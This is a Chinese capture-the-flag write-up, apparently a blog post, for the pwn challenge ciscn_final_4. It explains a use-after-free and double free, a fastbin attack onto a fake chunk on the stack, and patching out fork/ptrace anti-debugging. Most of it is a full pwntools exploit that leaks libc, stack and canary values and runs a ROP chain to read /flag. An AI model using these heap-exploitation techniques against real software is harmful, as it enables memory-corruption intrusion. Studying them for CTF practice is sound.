ciscn_final_4(反调试+在栈上伪造堆chunk)

ciscn_final_4

首先,检查一下程序的保护机制,没开PIE

沙箱禁用了execve,因此不能getshell,只能构造ROP来读取flag

然后,我们用IDA分析一下

Delete功能没有清空堆指针,存在UAF可以造成double free

new功能可以自由控制大小

程序一开始,我们可以在栈里输入一些数据,因此,我们可以在栈里伪造一个chunk,然后利用fastbin attack申请堆到栈上,这样,我们就能控制栈了。

我们不能接触main函数返回,因为main函数里是一个死循环,我们可以劫持其他函数。

Fastbin attack劫持new函数时,我们可以利用栈上已有的数据,来伪造size,从而绕过fastbin 分配时的size检查。

另外,程序一开始,fork了子进程,然后利用了ptrace,导致我们无法调试它的子进程

因此,我们需要先反调试,一个好的方法是将这里指令修改为jmp,跳过后面的fork、ptrace等操作。

我们要跳到这里

总共的距离为0x000000000040102F-0x0000000000400F91 = 0x9E,因此,我们可以修改call fork指令为jmp $+0x9E,如何知道这条指令的值?我们可以利用pwntools。

然后,我们利用十六进制编辑器,修改call fork处的指令

重新打开IDA,发现fork等操作已经不见了

那么,我们就可以继续来调试了,在new的rbp上方附近,有一个0x40的数据,利用错位,可以伪造成0x40的fastbin的size,从而,我们可以通过malloc(0x30)来申请到此处,进而控制该函数的执行流。但是0x30的大小,我们仅能写一两个rop指令,一个好的方法是利用add rsp,xx,来将栈迁移到下方我们可控的大空间里执行后续rop。

综上,完整exp

#coding:utf8
from pwn import *

sh = remote('node3.buuoj.cn',28016)
#sh = process('./ciscn_final_4')
#sh = process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']

fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk

sh.sendafter('what is your name?',payload)

def add(size,content):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('size?',str(size))
   sh.sendafter('content?',content)

def delete(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('index ?',str(index))

def show(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('index ?',str(index))

#0
add(0x100,'a'*0x100)
#1
add(0x78,'b'*0x78)
#2
add(0x78,'c'*0x78)
#3
add(0x38,'d'*0x38)
#4
add(0x38,'e'*0x38)
#5
add(0x10,'d'*0x10)
#6
add(0x81,'f'*0x81)
#heap_size数组的0x81数据用于伪造chunk的size
heapsize6_addr = 0x0000000000602058
note_addr = 0x00000000006020C0

delete(0)
show(0)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x00000000000353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(heapsize6_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0
add(0x78,payload) #10
#泄露栈地址
show(0)
sh.recvuntil('\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
sh.recvuntil('d'*0x11)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18

#由于无法触发main函数rop,因为有一个死循环,所以我们劫持new函数来rop到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17

payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)

flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值